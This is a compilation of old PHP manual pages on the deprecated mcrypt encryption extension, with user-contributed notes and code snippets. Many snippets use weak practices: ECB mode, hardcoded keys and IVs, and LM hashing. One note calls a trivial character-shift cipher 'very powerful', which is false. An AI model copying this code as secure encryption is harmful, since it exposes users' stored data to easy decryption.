The MCRYPT_TWOFISH constant when defined by mcrypt version 2.4.x and later is the 256 bit version of Twofish; it uses a 1-32 byte key, a 16 byte IV, and outputs 16 byte blocks in CBC mode.
Predefined Constants
Examples
Mcrypt


Examples

Mcrypt can be used to encrypt and decrypt using the above mentioned ciphers. If you linked against libmcrypt-2.2.x, the four important mcrypt commands (mcrypt_cfb(), mcrypt_cbc(), mcrypt_ecb(), and mcrypt_ofb()) can operate in both modes which are named MCRYPT_ENCRYPT and MCRYPT_DECRYPT, respectively.

Example #1 Encrypt an input value with TripleDES under 2.2.x in ECB mode

<?php
$key = "this is a secret key";
$input = "Let us meet at 9 o'clock at the secret place.";

$encrypted_data = mcrypt_ecb (MCRYPT_3DES, $key, $input, MCRYPT_ENCRYPT);
?>
This example will give you the encrypted data as a string in $encrypted_data.

If you linked against libmcrypt 2.4.x or 2.5.x, these functions are still available, but it is recommended that you use the advanced functions.

Example #2 Encrypt an input value with TripleDES under 2.4.x and higher in ECB mode

<?php
    $key = "this is a secret key";
    $input = "Let us meet at 9 o'clock at the secret place.";

    $td = mcrypt_module_open('tripledes', '', 'ecb', '');
    $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
    mcrypt_generic_init($td, $key, $iv);
    $encrypted_data = mcrypt_generic($td, $input);
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);
?>
This example will give you the encrypted data as a string in $encrypted_data. For a full example see mcrypt_module_open().

User Contributed Notes

ivoras at gmail dot com 30-Aug-2010 06:36
Note that there can be standard padding in block modes:

http://www.di-mgt.com.au/cryptopad.html
jizz @ Nowhere 01-Jul-2008 12:36
Ok after having a problem using triple des with .net/visual basic with php I think this could help someone:

Visual Basic 9 with .net 2.0
Encrypting as a stream into the IO/Memory as bytes
Then they get converted back after encryption

I wanted to use base64 encoding to store the VB encryption
The problem I found was ...

I could En/Decrypt within VB and PHP just fine
But when I tried to encrypt one in VB and decrypt in PHP
I got the wrong values with the mcrypt function alone

I found that at least with VB9 that the stream encryption uses a UTF char that is the value for how many missing bytes left in the 8 bit stream.

So if you encrypt 1234 it will add chr(4) four times (the amount of missing bytes)
In php use chr otherwise most browsers/client cant read it.
Im not good at explaining things but the php code I figured out is below.

It will find the missing bytes on input as visual basic does
and replace as needed. For both encryption and decryption.

Example is triple_des and cbc with self key and iv for storing in base64

$key = "E4HD9h4DhS23DYfhHemkS3Nf";// 24 bit Key
$iv = "fYfhHeDm";// 8 bit IV
$input = "Text to encrypt";// text to encrypt
$bit_check=8;// bit amount for diff algor.

$str= encrypt($input,$key,$iv,$bit_check);
echo "Start: $input - Excrypted: $str - Decrypted: ".decrypt($str,$key,$iv,$bit_check);

function encrypt($text,$key,$iv,$bit_check) {
$text_num =str_split($text,$bit_check);
$text_num = $bit_check-strlen($text_num[count($text_num)-1]);
for ($i=0;$i<$text_num; $i++) {$text = $text . chr($text_num);}
$cipher = mcrypt_module_open(MCRYPT_TRIPLEDES,'','cbc','');
mcrypt_generic_init($cipher, $key, $iv);
$decrypted = mcrypt_generic($cipher,$text);
mcrypt_generic_deinit($cipher);
return base64_encode($decrypted);
}

function decrypt($encrypted_text,$key,$iv,$bit_check){
$cipher = mcrypt_module_open(MCRYPT_TRIPLEDES,'','cbc','');
mcrypt_generic_init($cipher, $key, $iv);
$decrypted = mdecrypt_generic($cipher,base64_decode($encrypted_text));
mcrypt_generic_deinit($cipher);
$last_char=substr($decrypted,-1);
for($i=0;$i<$bit_check-1; $i++){
    if(chr($i)==$last_char){

        $decrypted=substr($decrypted,0,strlen($decrypted)-$i);
        break;
    }
}
return $decrypted;
}
Mcrypt ciphers
Mcrypt Functions
Mcrypt


Mcrypt Functions

Table of Contents

  • mcrypt_cbc — Encrypts/decrypts data in CBC mode
  • mcrypt_cfb — Encrypts/decrypts data in CFB mode
  • mcrypt_create_iv — Creates an initialization vector (IV) from a random source
  • mcrypt_decrypt — Decrypts crypttext with given parameters
  • mcrypt_ecb — Deprecated: Encrypts/decrypts data in ECB mode
  • mcrypt_enc_get_algorithms_name — Returns the name of the opened algorithm
  • mcrypt_enc_get_block_size — Returns the blocksize of the opened algorithm
  • mcrypt_enc_get_iv_size — Returns the size of the IV of the opened algorithm
  • mcrypt_enc_get_key_size — Returns the maximum supported keysize of the opened mode
  • mcrypt_enc_get_modes_name — Returns the name of the opened mode
  • mcrypt_enc_get_supported_key_sizes — Returns an array with the supported keysizes of the opened algorithm
  • mcrypt_enc_is_block_algorithm_mode — Checks whether the encryption of the opened mode works on blocks
  • mcrypt_enc_is_block_algorithm — Checks whether the algorithm of the opened mode is a block algorithm
  • mcrypt_enc_is_block_mode — Checks whether the opened mode outputs blocks
  • mcrypt_enc_self_test — Runs a self test on the opened module
  • mcrypt_encrypt — Encrypts plaintext with given parameters
  • mcrypt_generic_deinit — This function deinitializes an encryption module
  • mcrypt_generic_end — This function terminates encryption
  • mcrypt_generic_init — This function initializes all buffers needed for encryption
  • mcrypt_generic — This function encrypts data
  • mcrypt_get_block_size — Gets the block size of the specified cipher
  • mcrypt_get_cipher_name — Gets the name of the specified cipher
  • mcrypt_get_iv_size — Returns the size of the IV belonging to a specific cipher/mode combination
  • mcrypt_get_key_size — Gets the key size of the specified cipher
  • mcrypt_list_algorithms — Gets an array of all supported ciphers
  • mcrypt_list_modes — Gets an array of all supported modes
  • mcrypt_module_close — Closes the mcrypt module
  • mcrypt_module_get_algo_block_size — Returns the blocksize of the specified algorithm
  • mcrypt_module_get_algo_key_size — Returns the maximum supported keysize of the opened mode
  • mcrypt_module_get_supported_key_sizes — Returns an array with the supported keysizes of the opened algorithm
  • mcrypt_module_is_block_algorithm_mode — Returns if the specified module is a block algorithm or not
  • mcrypt_module_is_block_algorithm — This function checks whether the specified algorithm is a block algorithm
  • mcrypt_module_is_block_mode — Returns if the specified mode outputs blocks or not
  • mcrypt_module_open — Opens the module of the algorithm and the mode to be used
  • mcrypt_module_self_test — This function runs a self test on the specified module
  • mcrypt_ofb — Encrypts/decrypts data in OFB mode
  • mdecrypt_generic — Decrypts data

User Contributed Notes

patrickdk at patrickdk dot com 06-Aug-2010 10:30
This works completely with mysql aes, even long keys.

<?php
function mysql_aes_decrypt($val,$ky)
{
    $key="\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
    for($a=0;$a<strlen($ky);$a++)
      $key[$a%16]=chr(ord($key[$a%16]) ^ ord($ky[$a]));
    $mode = MCRYPT_MODE_ECB;
    $enc = MCRYPT_RIJNDAEL_128;
    $dec = @mcrypt_decrypt($enc, $key, $val, $mode, @mcrypt_create_iv( @mcrypt_get_iv_size($enc, $mode), MCRYPT_DEV_URANDOM ) );
    return rtrim($dec,(( ord(substr($dec,strlen($dec)-1,1))>=0 and ord(substr($dec, strlen($dec)-1,1))<=16)? chr(ord( substr($dec,strlen($dec)-1,1))):null));
}

function mysql_aes_encrypt($val,$ky)
{
    $key="\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
    for($a=0;$a<strlen($ky);$a++)
      $key[$a%16]=chr(ord($key[$a%16]) ^ ord($ky[$a]));
    $mode=MCRYPT_MODE_ECB;
    $enc=MCRYPT_RIJNDAEL_128;
    $val=str_pad($val, (16*(floor(strlen($val) / 16)+(strlen($val) % 16==0?2:1))), chr(16-(strlen($val) % 16)));
    return mcrypt_encrypt($enc, $key, $val, $mode, mcrypt_create_iv( mcrypt_get_iv_size($enc, $mode), MCRYPT_DEV_URANDOM));
}
?>
p ete postma - googlemail.com 30-Oct-2009 09:42
mcrypt module initialization failed

I found this circumstance:

usemcrypt.php:
<?php
 function protect() {
 //some mcrypt/decrypt command
 }
?>

filea.php:
<?php
include_once('usemcrypt.php');

function a() {
 protect();
} ?>

fileb.php
<?php
function b() {
  include_once('usemcrypt.php');
  protect();
}
?>

filea.php and a() work fine
fileb.php and b() will report a mcrypt module initialization failed

I am assuming you can't pull that module in on the fly. If you use a file that calls mcrypt, it has to be included at the head, not in a function.
manyagain 04-Jul-2009 08:44
if you don't have mcrypt installed, try phpseclib - http://phpseclib.sourceforge.net

includes pure-php implementations of des, 3des, rc4, aes, and rijndael.  uses mcrypt if it's available and a pure-php implementation otherwise.  it also has the distinction of having the fastest existent pure-php aes implementation as per section 3.5.5. "Speed Comparisons" of the documentation.
Rafael M. Salvioni 27-Nov-2008 04:26
The follow function is a implementation of the RC4 cypher algorithm in pure PHP code.

The function is used to encrypt and decrypt data.

<?php
/**
 * Crypt/decrypt strings with RC4 stream cypher algorithm.
 *
 * @param string $key Key
 * @param string $data Encripted/pure data
 * @see   http://pt.wikipedia.org/wiki/RC4
 * @return string
 */
function rc4($key, $data)
{
    // Store the vectors "S" has calculated
    static $SC;
    // Function to swaps values of the vector "S"
    $swap = create_function('&$v1, &$v2', '
        $v1 = $v1 ^ $v2;
        $v2 = $v1 ^ $v2;
        $v1 = $v1 ^ $v2;
    ');
    $ikey = crc32($key);
    if (!isset($SC[$ikey])) {
        // Make the vector "S", basead in the key
        $S    = range(0, 255);
        $j    = 0;
        $n    = strlen($key);
        for ($i = 0; $i < 255; $i++) {
            $char  = ord($key{$i % $n});
            $j     = ($j + $S[$i] + $char) % 256;
            $swap($S[$i], $S[$j]);
        }
        $SC[$ikey] = $S;
    } else {
        $S = $SC[$ikey];
    }
    // Crypt/decrypt the data
    $n    = strlen($data);
    $data = str_split($data, 1);
    $i    = $j = 0;
    for ($m = 0; $m < $n; $m++) {
        $i        = ($i + 1) % 256;
        $j        = ($j + $S[$i]) % 256;
        $swap($S[$i], $S[$j]);
        $char     = ord($data[$m]);
        $char     = $S[($S[$i] + $S[$j]) % 256] ^ $char;
        $data[$m] = chr($char);
    }
    return implode('', $data);
}
?>
artem at it-nt dot ru 29-May-2008 12:25
And some code for LM hash:

<?php
function LMhash($string)
{
    $string = strtoupper(substr($string,0,14));

    $p1 = LMhash_DESencrypt(substr($string, 0, 7));
    $p2 = LMhash_DESencrypt(substr($string, 7, 7));

    return strtoupper($p1.$p2);
}

function LMhash_DESencrypt($string)
{
    $key = array();
    $tmp = array();
    $len = strlen($string);

    for ($i=0; $i<7; ++$i)
        $tmp[] = $i < $len ? ord($string[$i]) : 0;

    $key[] = $tmp[0] & 254;
    $key[] = ($tmp[0] << 7) | ($tmp[1] >> 1);
    $key[] = ($tmp[1] << 6) | ($tmp[2] >> 2);
    $key[] = ($tmp[2] << 5) | ($tmp[3] >> 3);
    $key[] = ($tmp[3] << 4) | ($tmp[4] >> 4);
    $key[] = ($tmp[4] << 3) | ($tmp[5] >> 5);
    $key[] = ($tmp[5] << 2) | ($tmp[6] >> 6);
    $key[] = $tmp[6] << 1;

    $is = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($is, MCRYPT_RAND);
    $key0 = "";

    foreach ($key as $k)
        $key0 .= chr($k);
    $crypt = mcrypt_encrypt(MCRYPT_DES, $key0, "KGS!@#$%", MCRYPT_MODE_ECB, $iv);

    return bin2hex($crypt);
}
?>

Some optimization?
phpknights at pookmail dot com 01-Feb-2008 01:18
The Pear class Crypt/Blowfish.php will use the mcrypt module if available but the mcrypt module is not required.

Some very easy Pear and example pseudocode to protect your data by encrypting your databases with a one-way hash and blowfish symmetric encryption.
http://en.wikibooks.org/wiki/Cryptography/Database_protection

Using a one-way hash and blowfish symmetric encryption.
1. Insert a record of John Doe in an encrypted database.
2. Get the encrypted record of user John Doe and decrypt the data.

1. Insert a record of John Doe in an encrypted database.
<?php

        require_once("Crypt/Blowfish.php"); // a Pear class

        $aRecord['email']       =       "johndoe@anisp.localhost"; // The Primary key
        $aRecord['name']        =       "John Doe";
        $aRecord['creditnr']    =       "0192733652342" ;

        // crypt - one-way encryption
        $cipher_key = crypt( $aRecord['email'] , "AN_SECRET_COMPANY_SALT");

        $bf = new Crypt_Blowfish('ecb');
        $bf->setKey( $cipher_key );

        // crypt_blowfish symmetric encryption to encrypt the data
        $aRecord['email']       = $bf->encrypt( $aRecord['email'] );
        $aRecord['name']        = $bf->encrypt( $aRecord['name'] );
        $aRecord['creditnr']    = $bf->encrypt( $aRecord['creditnr'] );

        $result = sqlInsert( $aRecord ) ;
?>

2. Get the encrypted record of user John Doe and decrypt the data.
<?php

        require_once("Crypt/Blowfish.php");  // a Pear class

        $primary_key = "johndoe@anisp.localhost";

        // crypt - one-way encryption
        $cipher_key = crypt(  $primary_key , "AN_SECRET_COMPANY_SALT");

        $bf = new Crypt_Blowfish('ecb');
        $bf->setKey( $cipher_key );

        // crypt_blowfish symmetric encryption to ecrypt the primary key for a sql select
        $select_key = $bf->encrypt(  $primary_key ) ;

        $aRecord = sqlSelectWithPKEY( $select_key );

        // crypt_blowfish symmetric encryption to decrypt the data
        $aRecord['email']       = $bf->decrypt( $aRecord['email'] );
        $aRecord['name']        = $bf->decrypt( $aRecord['name'] );
        $aRecord['creditnr']    = $bf->decrypt( $aRecord['creditnr'] );
?>

Thanks for reading this.
Kevin 23-Jan-2008 09:37
Solved Problem:

when compiling php --with-mcrypt, phpinfo() says, that mcrypt ist enabled, but
"Supported ciphers none" and
"Supported modes none"

In order to get mcrypt to work in php, you have to configure and compile the libmcrypt source package with the following options:
./configure --disable-posix-threads --enable-dynamic-loading
Ivan Frederiks 28-Apr-2007 07:03
To enable mcrypt extension under Windows you need to:
1) uncomment line "extension=php_mcrypt.dll" in php.ini
2) download libmcrypt.dll from http://files.edin.dk/php/win32/mcrypt/ and put it to System32 directory (for example C:\Windows\System32).
Tested on Windows XP+Apache 1.3.37+PHP 4.4.6 (as SAPI module!!!)

P.S.
I wrote this because I got "Cannot load mcrypt extension. Please check your PHP configuration." from phpMyAdmin when I simply uncommented "extension=php_mcrypt.dll" line.
duerra_NOT_THIS_ at pushitlive dot net 20-Sep-2006 12:56
For those of you that need to use PKCS#5 padding, the mcrypt API's for PHP do not support it.  However, you can DIY using the following:

<?php

function encrypt_something($input)
{
    $size = mcrypt_get_block_size('des', 'ecb');
    $input = pkcs5_pad($input, $size);

    $key = 'YOUR SECRET KEY HERE';
    $td = mcrypt_module_open('des', '', 'ecb', '');
    $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
    mcrypt_generic_init($td, $key, $iv);
    $data = mcrypt_generic($td, $input);
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);
    $data = base64_encode($data);
    return $data;
}

function pkcs5_pad ($text, $blocksize)
{
    $pad = $blocksize - (strlen($text) % $blocksize);
    return $text . str_repeat(chr($pad), $pad);
}

function pkcs5_unpad($text)
{
    $pad = ord($text{strlen($text)-1});
    if ($pad > strlen($text)) return false;
    if (strspn($text, chr($pad), strlen($text) - $pad) != $pad) return false;
    return substr($text, 0, -1 * $pad);
}
?>
rolf at winmutt dot com 10-Mar-2006 12:19
mysql AES_ENCRYPT() compatibly function for PHP :

<?php
function mysql_aes_encrypt($val,$ky) {
    $mode=MCRYPT_MODE_ECB;
    $enc=MCRYPT_RIJNDAEL_128;
    $val=str_pad($val, (16*(floor(strlen($val) / 16)+(strlen($val) % 16==0?2:1))), chr(16-(strlen($val) % 16)));
    return mcrypt_encrypt($enc, $ky, $val, $mode, mcrypt_create_iv( mcrypt_get_iv_size($enc, $mode), MCRYPT_DEV_URANDOM));
}
?>

Please note that if the strlen($ky)>16 then this function will not be compatible.
vincent at verbrugh dot nl 01-Mar-2006 01:55
If you plan to use Mcrypt Encryption to store encrypted data (e.g. passwords) in a (MySQL) database make sure to set the column to BLOB rather than VARCHAR. Otherwise the data may change which can give unexpected results if you decrypt the value.
Jerry Hathaway 16-Feb-2006 10:23
After benchmarking AES in 256-bit operation, I've concluded that CBC is far faster than OFB.  Using a 14.9 MiB file, on average...

Encrypt in CBC:   1.9 seconds
Encrypt in OFB:   45.7 seconds (same as CFB)
Just reading the file:  ~.53 seconds

After some research, I've concluded that OFB and CFB are slightly more secure than CBC, however I believe the performance difference to be due to an implementation issue.

As a side note on ECB:  As stated in the wiki linked to below, ECB is wholly inadequate.  It not use an IV (whether it was supplied ot MCrypt or not), meaning the same key and plaintext always produce the same ciphertext and it doesn't hide patterns.  The site shows an excellent example of this.

Very useful info:
http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
triptripon at gmail dot com 05-Feb-2006 03:28
Regarding storing the result on a postgres DB that uses Unicode (follow up to a post below).
You don't need to change the DB's encoding to ASCII.
Simply use BASE64 to encode the result, it's perfectly safe.
use base64_decode before you decrypt.
-- Tomer Levinboim
coz AT metamule D0T com 04-Nov-2005 05:15
If you're going to encrypt data with something like this and store it in postgres.

<?php
function encrypt($string, $key){
        $result = '';
        for($i=1; $i<=strlen($string); $i++){
            $char = substr($string, $i-1, 1);
            $keychar = substr($key, ($i % strlen($key))-1, 1);
            $char = chr(ord($char)+ord($keychar));
            $result.=$char;
        }
        return $result;
    }
?>

Make sure when you create your database to set the encoding to SQL_ASCII because you won't be able to store this data in a database that uses UNICODE
joseph-at-digiweb-dot-net-dot-nz 30-Oct-2005 05:22
A further note for those doing interop between PHP and Java:

If you're using the BouncyCastle library on the Java side, then you can use the ZeroBytePadding mode now available in it. Mcrypt pads the data with Nulls rather than spaces....

I've sucessfully done interop using Blowfish/CBC/ZeroBytePadding between PHP and Java this way.
paul dot lewis at absolutegenius dot co dot uk 13-Jul-2005 08:33
I've spent the majority of the day attempting to get mcrypt to work under IIS6 with Windows Server 2003 (Web Edition) and PHP 5.0.4

There seems to be some incompatability with enabling certain extensions (mcrypt being one) when you are running PHP as ISAPI in this environment.

The way to solve the problem (the error will be that it cannot load php_mcrypt.dll - access is denied) is to run in CGI. While this isn't supposed to be as good performance wise, if you need the mcrypt support (or Oracle support, too, I believe) then this is the only way I've found to do it.
MGTech 20-May-2005 12:02
Please, mind that a XOR Encryption can't compete with a block cipher like AES or IDEA, but if you really want to use a stream cipher the more secure RC4 is the right alternative.
A XOR Encryption is only a bit useful if you encrypt data for private use, otherwise it is a frankly a security risk.
Jurgen Schwietering 23-Nov-2004 01:20
Attention when using keys longer than the actual key size (i.e. 160 bit instead of 128 bit).

It will work inbetween PHP scripts, but might cause problems when using openssl or other packages with this integration of mcrypt. Cut them always to the supported size (mcrypt_enc_get_key_size) to avoid sleepless hours.
Anonymous 19-Nov-2004 08:18
Or, if you don't have the mcrypt library, you can just use these functions:

<?php
function Encrypt($string, $key)
{
$result = '';
for($i=1; $i<=strlen($string); $i++)
{
$char = substr($string, $i-1, 1);
$keychar = substr($key, ($i % strlen($key))-1, 1);
$char = chr(ord($char)+ord($keychar));
$result.=$char;
}
return $result;
}

function Decrypt($string, $key)
{
$result = '';
for($i=1; $i<=strlen($string); $i++)
{
$char = substr($string, $i-1, 1);
$keychar = substr($key, ($i % strlen($key))-1, 1);
$char = chr(ord($char)-ord($keychar));
$result.=$char;
}
return $result;
}
?>

It's very simple encryption, but as long as the key stays secret, very powerful.
dzelko at hotmail dot com 14-May-2004 12:11
Windows IIS Users - Problems installing/using mcrypt and other extensions
::
I've noticed a lot of users complaining in forums that they have difficult time getting mcrypt extension to function/ finding or installing working .dlls when using IIS:
::
Easy solution that works well for me: (IIS 6 on Win 2003 Svr and IIS on XP Pro) #customized install later for increased security#
1. Install current stable php version using windows installer #gets php up and running quickly#
2. Download Windows Binary Package
3. Extract Package Library to PHP folder installer generates - overwrite all
4. Edit php.ini as appropriate.  (specifically for mcrypt uncomment mcrypt=php_mcrypt.dll)
::
No mo' problems.
groundzero at zuavra dot net 09-Jan-2004 05:08
If you've ever compiled PHP from source (any version) you may be familiar with the [in]famous MCRYPT_BLOWFISH_128 compilation error that appears when you attempt to compile --with-mcrypt. It occurs often on Debian but not only there. The problem: during compilation, the PHP configure script always assumes that libmcrypt has been built in conjunction with libltdl. Whenever that is not the case, PHP compilation will fail later saying certain headers (such as the above blowfish example) are missing from mcrypt.h (which is misleading, they're not supposed to be there nor looked after if libltdl was properly involved). Solution: make sure your libmcrypt was linked against libltdl before you even start configuring PHP. You can check by running 'ldd lybmcrypt.so' and verifying that libltdl appears in the output. libltdl can be found in libltld[3][-dev] on Debian or in libtool-libs on Red Hat.
simms 03-Oct-2003 02:03
DEBIAN users: avoid mcrypt installation headaches.
to add mcrypt support to an existing php installation, get root and run

apt-get install php4-mcrypt

restart your webserver, and voila.
steve@itemfront dot ltd dot uk 29-Sep-2003 05:17
Just spent a while getting mcrypt support working with php. Used libmcrypt version 2.5.7 with php 4.3.3. Out of the box it just won't work. Configure as follows:

libmcrypt:

  ./configure --disable-posix-threads --enable-dynamic-loading

php: ( as you can see, it's built for a SunONE server, but that's the easy bit to configure! )

./configure  --with-nsapi=/usr/iplanet/servers --enable-sigchld --with-ldap --with-zlib-dir=/usr/lib --with-mcrypt=<srcdir>/libmcrypt-2.5.7

hth, steve
herowekker at hotmail dot com 31-Jul-2003 05:55
mcrypt_ecb with base64_decode gave some problems, i found out that it had to be chopped to work:

<?php
chop(mcrypt_ecb(MCRYPT_BLOWFISH,$key,base64_decode($input),MCRYPT_DECRYPT));
?>
scott at boothcreek dot com 28-Mar-2002 01:28
If you are using ECB mode to encrypt it does not seem to use the iv (initialization vector) for much of anything, given the same key it will always decrypt it no matter what the iv is.  If you use CBC mode you must decrypt with the same iv that you encrypted with.

 If you use a different iv before decrypting, your decrypt will not work.  IMHO it seems better to use CBC mode than ECB as ECB will always encrypt to the same cipher text given the same plain text  (leaving you open to know plaintext attacks).  CBC uses the random iv which means text encrypts to different things.  You probably could get the same effect from using random keys in ECB mode.

Read that in the Schneier book - Applied Cryptography (ISBN 0-471-11709-9)  This book is a must for anyone seriously using any type of encryption.
pawelNOSPAM at rsc dot pl 02-Aug-2001 06:37
If you compiled mcrypt and php without problem, but phpinfo() shows there are no supported ciphers and modes, try to change mode to 755 on libdirs (/usr/local/libmcrypt, /usr/local/libcrypt).
mountie at paygate dot net 10-Feb-2000 05:21
the encrypted result data maybe binary data and It make errors in sql query.
so use the base64_encode/base64_decode function with mcrypt()
try below

<?php
base64_encode(mcrypt_ecb(MCRYPT_BLOWFISH,$key,$input,MCRYPT_ENCRYPT));

mcrypt_ecb(MCRYPT_BLOWFISH,$key,base64_decode($input),MCRYPT_DECRYPT);
?>
Examples
mcrypt_cbc
Mcrypt


Encrypts/decrypts data in CBC mode

Mcrypt Functions
mcrypt_cfb
Mcrypt Functions
PHP Manual

mcrypt_cbc

(PHP 4, PHP 5)

mcrypt_cbc — Encrypts/decrypts data in CBC mode

Description

string mcrypt_cbc ( int $cipher , string $key , string $data , int $mode [, string $iv ] )
string mcrypt_cbc ( string $cipher , string $key , string $data , int $mode [, string $iv ] )

The first prototype is when linked against libmcrypt 2.2.x, the second when linked against libmcrypt 2.4.x or higher. The mode should be either MCRYPT_ENCRYPT or MCRYPT_DECRYPT.

This function should not be used anymore, see mcrypt_generic() and mdecrypt_generic() for replacements.

User Contributed Notes

Othman 16-May-2009 09:56
The following code is to
encrypt-->encode
decode-->decrypt

<?php
$stuff="String to enc/enc/dec/dec =,=,";
$key="XiTo74dOO09N48YeUmuvbL0E";

function nl() {
    echo "<br/> \n";
}
$iv = mcrypt_create_iv (mcrypt_get_block_size (MCRYPT_TripleDES, MCRYPT_MODE_CBC), MCRYPT_DEV_RANDOM);

// Encrypting
function encrypt($string, $key) {
    $enc = "";
    global $iv;
    $enc=mcrypt_cbc (MCRYPT_TripleDES, $key, $string, MCRYPT_ENCRYPT, $iv);

  return base64_encode($enc);
}

// Decrypting
function decrypt($string, $key) {
    $dec = "";
    $string = trim(base64_decode($string));
    global $iv;
    $dec = mcrypt_cbc (MCRYPT_TripleDES, $key, $string, MCRYPT_DECRYPT, $iv);
  return $dec;
}

$encrypted = encrypt($stuff, $key);
$decrypted = decrypt($encrypted, $key);

echo "Encrypted is ".$encrypted . nl();
echo "Decrypted is ".$decrypted . nl();
?>

Notes on the result
-o running the script from the command line 1 time
    php script.php works correct
-o if i ran the script in a loop i.e.

#!/bin/bash
for x in `seq 100`
do
        echo $x
        php script.php >> LOG.text
        sleep 1

done
it gets slower after the 10th time
+ inconsistent output
sometimes correct some with encrypted characters at the end of the decrypted string

-o Firefox on Linux it decrypts to the original string but appends
    some encryption at the end of the decrypted sting
-o running the script on the browser from windows on Firefox,
    Google Chrome, IE7 works fine for just few times
    "refresh every few seconds"
    if refresh fast it doesn't work correctly,
    some times returns the decrypted as encrypted!
    some times returns mix of encrypted & decrypted

I thought if sharing that test for those functions might be
useful for some body
28-Apr-2006 08:44
Here is a post similar to the one above, except this works for AES256
256 bit key and 128 bit block size... just make sure the $key variable is at least 48 characters long

---- PERL ---

my $key = '12345678901234567890123456789012345678901234567890';
my $CC = '4007000000027';

# You need Crypt::Rijndael installed for this to work
use Crypt::CBC;
my $cipher = Crypt::CBC->new( {'key' => substr($key,0,32),
                                'cipher'=> 'Rijndael',
                                'iv' => substr($key,32,16),
                                'regenerate_key' => 0,
                                'padding' => 'null',
                                'prepend_iv' => 0
                                   });
my $encrypted = $cipher->encrypt($CC);

print "encrypted : ".$encrypted."\n";
print "decrypted : ".$cipher->decrypt($encrypted)."\n";

--- PHP ---

$key = '123456789012345678901234567890123456789012345678901234567890';
$CC = '4007000000027';

$encrypted = mcrypt_cbc(MCRYPT_RIJNDAEL_128,substr($key,0,32) ,$CC,MCRYPT_ENCRYPT,substr($key,32,16));
$decrypted = mcrypt_cbc(MCRYPT_RIJNDAEL_128,substr($key,0,32) ,$encrypted,MCRYPT_DECRYPT,substr($key,32,16));

echo "encrypted : ".bin2hex($encrypted);
eric at ez-llc dot com 11-Mar-2006 09:38
I was able get php and perl to play together with blowfish using cipher block chaining.  The blowfish key needs to be atleast 8 chars (even though blowfish min is 8 bits, perl didn't like keys smaller than 8 chars) and max 56.  The iv must be exactly 8 chars and padding needs to be null because php pads with nulls.  Also, php needs libmcrypt >= 2.4.9 to be compatible with perl.

PERL
----

use Crypt::CBC;
$cipher = Crypt::CBC->new( {'key' => 'my secret key',
                                    'cipher'=> 'Blowfish',
                                    'iv' => '12345678',
                                    'regenerate_key' => 0,
                                    'padding' => 'null',
                                    'prepend_iv' => 0
                                    });
$cc = 'my secret text';
$encrypted = $cipher->encrypt($cc);
$decrypted = $cipher->decrypt($encrypted);

print "encrypted : ".$encrypted;
print "<br>";
print "decrypted : ".$decrypted;

PHP
---

$cc = 'my secret text';
$encrypted = mcrypt_cbc(MCRYPT_BLOWFISH,'my secret key',$cc,MCRYPT_ENCRYPT,'12345678');
$decrypted = mcrypt_cbc(MCRYPT_BLOWFISH, 'my secret key', $encrypted, MCRYPT_DECRYPT,'12345678');
echo "encrypted : ".$encrypted;
echo "<br>";
echo "decrypted : ".$decrypted;
Mcrypt Functions
mcrypt_cfb
Mcrypt Functions


Encrypts/decrypts data in CFB mode

mcrypt_cbc
mcrypt_create_iv
Mcrypt Functions
PHP Manual

mcrypt_cfb

(PHP 4, PHP 5)

mcrypt_cfb — Encrypts/decrypts data in CFB mode

Description

string mcrypt_cfb ( int $cipher , string $key , string $data , int $mode , string $iv )
string mcrypt_cfb ( string $cipher , string $key , string $data , int $mode [, string $iv ] )

The first prototype is when linked against libmcrypt 2.2.x, the second when linked against libmcrypt 2.4.x or higher. The mode should be either MCRYPT_ENCRYPT or MCRYPT_DECRYPT.

This function should not be used anymore, see mcrypt_generic() and mdecrypt_generic() for replacements.

User Contributed Notes

There are no user contributed notes for this page.
mcrypt_cbc
mcrypt_create_iv
Mcrypt Functions


Creates an initialization vector (IV) from a random source

mcrypt_cfb
mcrypt_decrypt
Mcrypt Functions
PHP Manual

mcrypt_create_iv

(PHP 4, PHP 5)

mcrypt_create_iv — Creates an initialization vector (IV) from a random source

Description

string mcrypt_create_iv ( int $size [, int $source = MCRYPT_DEV_RANDOM ] )

Creates an initialization vector (IV) from a random source.

The IV is only meant to give an alternative seed to the encryption routines. This IV does not need to be secret at all, though it can be desirable. You even can send it along with your ciphertext without losing security.

Parameters

size

The size of the IV.

source

The source of the IV. The source can be MCRYPT_RAND (system random number generator), MCRYPT_DEV_RANDOM (read data from /dev/random) and MCRYPT_DEV_URANDOM (read data from /dev/urandom). Prior to 5.3.0, MCRYPT_RAND was the only one supported on Windows.

Return Values

Returns the initialization vector, or FALSE on error.

Changelog

Version | Description
5.3.0 | MCRYPT_DEV_RANDOM and MCRYPT_DEV_URANDOM became available on Windows platforms.
5.3.0 | It is no longer required to call srand() first. This is now done automatically.

Examples

Example #1 mcrypt_create_iv() Example

<?php
    $size = mcrypt_get_iv_size(MCRYPT_CAST_256, MCRYPT_MODE_CFB);
    $iv = mcrypt_create_iv($size, MCRYPT_DEV_RANDOM);
?>

See Also

  • » http://www.ciphersbyritter.com/GLOSSARY.HTM#IV
  • » http://www.quadibloc.com/crypto/co0409.htm
  • Chapter 9.3 of Applied Cryptography by Schneier (ISBN 0-471-11709-9)

User Contributed Notes

Ori Peleg 17-Mar-2009 01:01
If mcrypt_create_iv takes too long, try replacing MCRYPT_DEV_RANDOM with MCRYPT_DEV_URANDOM.
Secure random (/dev/random) isn't needed for the IV.
Matthew 25-Sep-2008 07:09
I encrypt a few items on a page in a project i am working on and I have found the IV create function to introduce huge delays in rendering the page too (I noticed someone else here had this problem).

It's quite common for a 4 second render time for what should be a snappy site. I would recommend that if speed is essential that an alternative method be used to create your IV (such as the one below if you feel it secure enough).

After using an alternative IV creation method my page went from a 4 second render to a 0.01 second render time.
30-Dec-2006 03:37
Chris is right. I think that the person to whom he was responding was mixing up initialization vectors and salts that you would use when MD5 hashing passwords to prevent dictionary attacks. In that case they do need to be random to thwart the dictionary attack most effectively, although they don't need to be secret (which is a moot point since every salt is different).
Chris 05-Nov-2006 03:07
